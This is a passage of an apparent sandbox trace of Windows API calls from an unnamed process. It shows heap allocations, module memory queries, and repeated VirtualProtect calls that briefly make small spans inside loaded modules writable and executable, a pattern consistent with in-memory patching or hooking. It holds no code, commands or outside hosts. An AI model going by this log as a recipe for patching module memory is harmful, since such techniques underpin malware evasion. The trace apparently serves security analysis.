hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dff20 | out: hHeap=0x1ee0000) returned 1 [0070.726] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77160000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x77160000, AllocationBase=0x77160000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.726] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.726] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77040000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x77040000, AllocationBase=0x77040000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.726] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.726] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd330000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fefd330000, AllocationBase=0x7fefd330000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.726] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.726] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4ab0000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fef4ab0000, AllocationBase=0x7fef4ab0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.726] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.726] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x22dff20 [0070.727] VirtualProtect (in: lpAddress=0x7fef4b0e278, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fedd0 | out: lpflOldProtect=0x2fedd0*=0x2) returned 1 [0070.727] VirtualProtect (in: lpAddress=0x7fef4b0e278, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2fedd0 | out: lpflOldProtect=0x2fedd0*=0x40) returned 1 [0070.727] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x21dda90 [0070.727] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x21dda90 | out: hHeap=0x1ee0000) returned 1 [0070.812] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1fdfa90 [0070.812] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1fdfa90 | out: hHeap=0x1ee0000) returned 1 [0070.815] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0a90 [0070.815] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0a90 | out: hHeap=0x1ee0000) returned 1 [0070.815] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc270000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fefc270000, AllocationBase=0x7fefc270000, AllocationProtect=0x80, __alignment1=0xfffffa80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.815] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.815] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0a90 [0070.815] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0a90 | out: hHeap=0x1ee0000) returned 1 [0070.815] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0a90 [0070.815] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0a90 | out: hHeap=0x1ee0000) returned 1 [0070.815] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0a90 [0070.815] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0a90 | out: hHeap=0x1ee0000) returned 1 [0070.815] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0a90 [0070.815] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0a90 | out: hHeap=0x1ee0000) returned 1 [0070.815] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd670000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fefd670000, AllocationBase=0x7fefd670000, AllocationProtect=0x80, __alignment1=0xfffffa80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.815] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.815] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0a90 [0070.815] VirtualProtect (in: lpAddress=0x7fefd6ea498, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fedd0 | out: lpflOldProtect=0x2fedd0*=0x2) returned 1 [0070.815] VirtualProtect (in: lpAddress=0x7fefd6ea498, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2fedd0 | out: lpflOldProtect=0x2fedd0*=0x40) returned 1 [0070.816] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0b00 [0070.816] VirtualProtect (in: lpAddress=0x7fefd6ea490, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fedd0 | out: lpflOldProtect=0x2fedd0*=0x2) returned 1 [0070.816] VirtualProtect (in: lpAddress=0x7fefd6ea490, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2fedd0 | out: lpflOldProtect=0x2fedd0*=0x40) returned 1 [0070.816] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0b70 [0070.816] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0b70 | out: hHeap=0x1ee0000) returned 1 [0070.816] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0b70 [0070.816] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0b70 | out: hHeap=0x1ee0000) returned 1 [0070.816] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff190000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7feff190000, AllocationBase=0x7feff190000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.816] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.816] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0b70 [0070.817] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0b70 | out: hHeap=0x1ee0000) returned 1 [0070.817] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0b70 [0070.817] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0b70 | out: hHeap=0x1ee0000) returned 1 [0070.817] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0b70 [0070.817] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0b70 | out: hHeap=0x1ee0000) returned 1 [0070.817] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0b70 [0070.817] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0b70 | out: hHeap=0x1ee0000) returned 1 [0070.817] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefe900000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fefe900000, AllocationBase=0x7fefe900000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.817] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.817] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0b70 [0070.817] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0b70 | out: hHeap=0x1ee0000) returned 1 [0070.817] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0b70 [0070.817] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0b70 | out: hHeap=0x1ee0000) returned 1 [0070.817] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0b70 [0070.817] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0b70 | out: hHeap=0x1ee0000) returned 1 [0070.817] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0b70 [0070.817] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0b70 | out: hHeap=0x1ee0000) returned 1 [0070.817] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77320000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x77320000, AllocationBase=0x77320000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.818] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.818] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0b70 [0070.818] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0b70 | out: hHeap=0x1ee0000) returned 1 [0070.818] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0b70 [0070.818] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0b70 | out: hHeap=0x1ee0000) returned 1 [0070.818] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0b70 [0070.818] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0b70 | out: hHeap=0x1ee0000) returned 1 [0070.818] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0b70 [0070.818] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0b70 | out: hHeap=0x1ee0000) returned 1 [0070.818] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefdb70000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fefdb70000, AllocationBase=0x7fefdb70000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.818] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.818] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0b70 [0070.818] VirtualProtect (in: lpAddress=0x7fefdf9e700, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fedd0 | out: lpflOldProtect=0x2fedd0*=0x2) returned 1 [0070.818] VirtualProtect (in: lpAddress=0x7fefdf9e700, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2fedd0 | out: lpflOldProtect=0x2fedd0*=0x40) returned 1 [0070.818] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0be0 [0070.820] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0be0 | out: hHeap=0x1ee0000) returned 1 [0070.820] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0be0 [0070.820] VirtualProtect (in: lpAddress=0x7fefdf9e760, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fedd0 | out: lpflOldProtect=0x2fedd0*=0x2) returned 1 [0070.820] VirtualProtect (in: lpAddress=0x7fefdf9e760, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2fedd0 | out: lpflOldProtect=0x2fedd0*=0x40) returned 1 [0070.820] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0c50 [0070.821] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0c50 | out: hHeap=0x1ee0000) returned 1 [0070.821] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd5c0000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fefd5c0000, AllocationBase=0x7fefd5c0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.821] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.821] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0c50 [0070.821] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0c50 | out: hHeap=0x1ee0000) returned 1 [0070.821] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0c50 [0070.821] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0c50 | out: hHeap=0x1ee0000) returned 1 [0070.821] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0c50 [0070.821] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0c50 | out: hHeap=0x1ee0000) returned 1 [0070.821] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0c50 [0070.822] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0c50 | out: hHeap=0x1ee0000) returned 1 [0070.822] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefee30000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fefee30000, AllocationBase=0x7fefee30000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.822] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.822] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0c50 [0070.822] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0c50 | out: hHeap=0x1ee0000) returned 1 [0070.822] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0c50 [0070.822] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0c50 | out: hHeap=0x1ee0000) returned 1 [0070.822] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0c50 [0070.822] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0c50 | out: hHeap=0x1ee0000) returned 1 [0070.822] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0c50 [0070.822] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0c50 | out: hHeap=0x1ee0000) returned 1 [0070.822] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x76f40000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x76f40000, AllocationBase=0x76f40000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.822] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.822] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0c50 [0070.822] VirtualProtect (in: lpAddress=0x76fc27d8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fedd0 | out: lpflOldProtect=0x2fedd0*=0x2) returned 1 [0070.823] VirtualProtect (in: lpAddress=0x76fc27d8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2fedd0 | out: lpflOldProtect=0x2fedd0*=0x40) returned 1 [0070.823] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.823] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.823] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.823] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.823] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.823] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.823] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff1b0000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7feff1b0000, AllocationBase=0x7feff1b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.823] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.823] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.824] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.824] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.825] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.825] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.825] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.825] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.825] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.825] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd7f0000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fefd7f0000, AllocationBase=0x7fefd7f0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.825] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.825] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.825] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.825] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.825] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.825] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.825] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.825] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.825] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.825] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef77f0000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fef77f0000, AllocationBase=0x7fef77f0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.825] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.825] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.825] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.825] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.825] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.826] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.826] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.826] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.826] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.826] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc450000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fefc450000, AllocationBase=0x7fefc450000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.826] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.826] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.826] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.826] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.826] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.826] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.826] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.826] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.826] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.826] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd0b0000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fefd0b0000, AllocationBase=0x7fefd0b0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.826] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.826] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.826] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.826] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.826] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.826] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.827] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.827] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.827] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.827] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef6e90000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fef6e90000, AllocationBase=0x7fef6e90000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.827] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 